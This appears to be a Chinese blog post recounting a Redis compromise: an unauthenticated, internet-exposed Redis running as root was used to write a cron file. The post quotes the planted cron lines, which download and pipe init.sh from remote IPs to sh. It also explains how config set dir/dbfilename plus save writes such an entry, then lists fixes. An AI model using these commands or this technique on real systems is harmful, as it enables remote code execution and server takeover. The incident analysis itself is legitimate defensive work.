记一次Redis启动权限过高(root)导致的攻击

开头还是那句话, root执行一定要慎用!

事情还得从收到一条阿里云警报短信开始说起, 上周收到了阿里发过来"可疑计划任务"的短信提示, 随即登录服务器, 发现/etc/cron.d文件夹下多了一个叫zzh的文件

REDIS0006�backup3�@S@Z
*/4 *�
root curl -fsSL http://47.253.42.213/b2f628fff19fda9�/init.sh | sh
backup2@J
*/3 * * * * root wget -q -O- http://39.100.33.209/b2f628/init.sh | sh
backup1@H
*/2 * * * * root cd1 -fsSL http://39.100.33.209/b2f628/init.sh | sh
backup4�@S@Z
*/5 *�
root wd1 -q -O- http://47.253.42.213/b2f628fff19fda9�/init.sh | sh
���ҙ�_

文件里面充斥着乱码(被压缩)和很可疑的url地址

第一反应: ssh登录秘钥泄露了? 但是root用户是不允许登录的, 登录账号, 不知道密码的情况下, 也不能使用sudo来修改定时任务, 那问题出现在哪...还在思考的时候, 发现这个文件的开头, 有很特别的一串REDIS0006, 这不是redis么...难道和redis有什么关系?随手ps aux | grep redis看了眼, 好家伙, redis用root跑着的!

事情一下就变得明朗起来了, 进入redis-cli, 然后config get dbfilename, 返回结果

1) "dbfilename"
2) "crontab"

好家伙, 我直接好家伙! 这里的dump.rdb被替换成了crontab, 随机查看了下config get dir, 返回结果

1) "dir"
2) "/etc"

整个事情大概就明朗起来了, 再keys *了下(先用info确保你的key量不会太大), 然后根据刚刚那个zzh的恶意定时文件里面的backup3, backup2, backup1作为关键词, 直接keys backup*, 果然出现了意料之中的结果

1) "backup1"
2) "backup2"
3) "backup3"
4) "backup4"

随便选中一个, get backup2, 返回结果

*/3 * * * * root wget -q -O- http://39.100.33.209/b2f628/init.sh | sh

大概攻击过程已经明了, 接下来是确定攻击入口, 经过一顿查找, 最后发现redis的端口...直接暴露在公网的! 安全组不知道什么时候开启了所有端口的入方向...添加6379端口的入方向拒绝规则堵住攻击入口

攻击流程

这里简单的讲下攻击实现方式吧, 攻击主要针对的是公网能访问的redis服务器(绑定0.0.0.0IP, 并且端口没有做屏蔽操作), 由于使用redis基本上是不会设置密码的, 所以一旦暴露公网, 很容易成为攻击对象, 但是一般情况最严重的也就是非root权限级别的操作, 比如redis被清空之内的, 然而这次由于我们的redis是使用root账号运行的, 这就造成了很严重的后果, 比如可以直接往.ssh/authorized_keys写入自己的公钥, 然后就能直接访问服务器, 或者往/etc/cron.d里面写入使用root执行的恶意shell脚本等.

攻击利用的是redis的备份操作, 也可以叫持久化, 原本在client-cli中执行save是可以往redis的默认安装目录写入一个dump.rdb文件, 然而, 目录是可以通过config set dir进行修改的, 比如修改为/etc只需要使用config set dir '/etc', 同时, 保存的文件名称也是可以使用config set dbfilename 'name'进行修改的, 这时候, 只需要将目录和文件名一起修改, 组成一个/etc/cron.d/xxx的路径, 然后往redis写入数据set backupxxx "*/3 * * * * root wget -q -O- http://xxxx/bash.sh | sh", 再执行save操作, 一个root权限的定时执行脚本就成功写入.

解决方案

 #封掉攻击入口, 比如对外的端口访问
 #降低redis的运行权限, 不使用root运行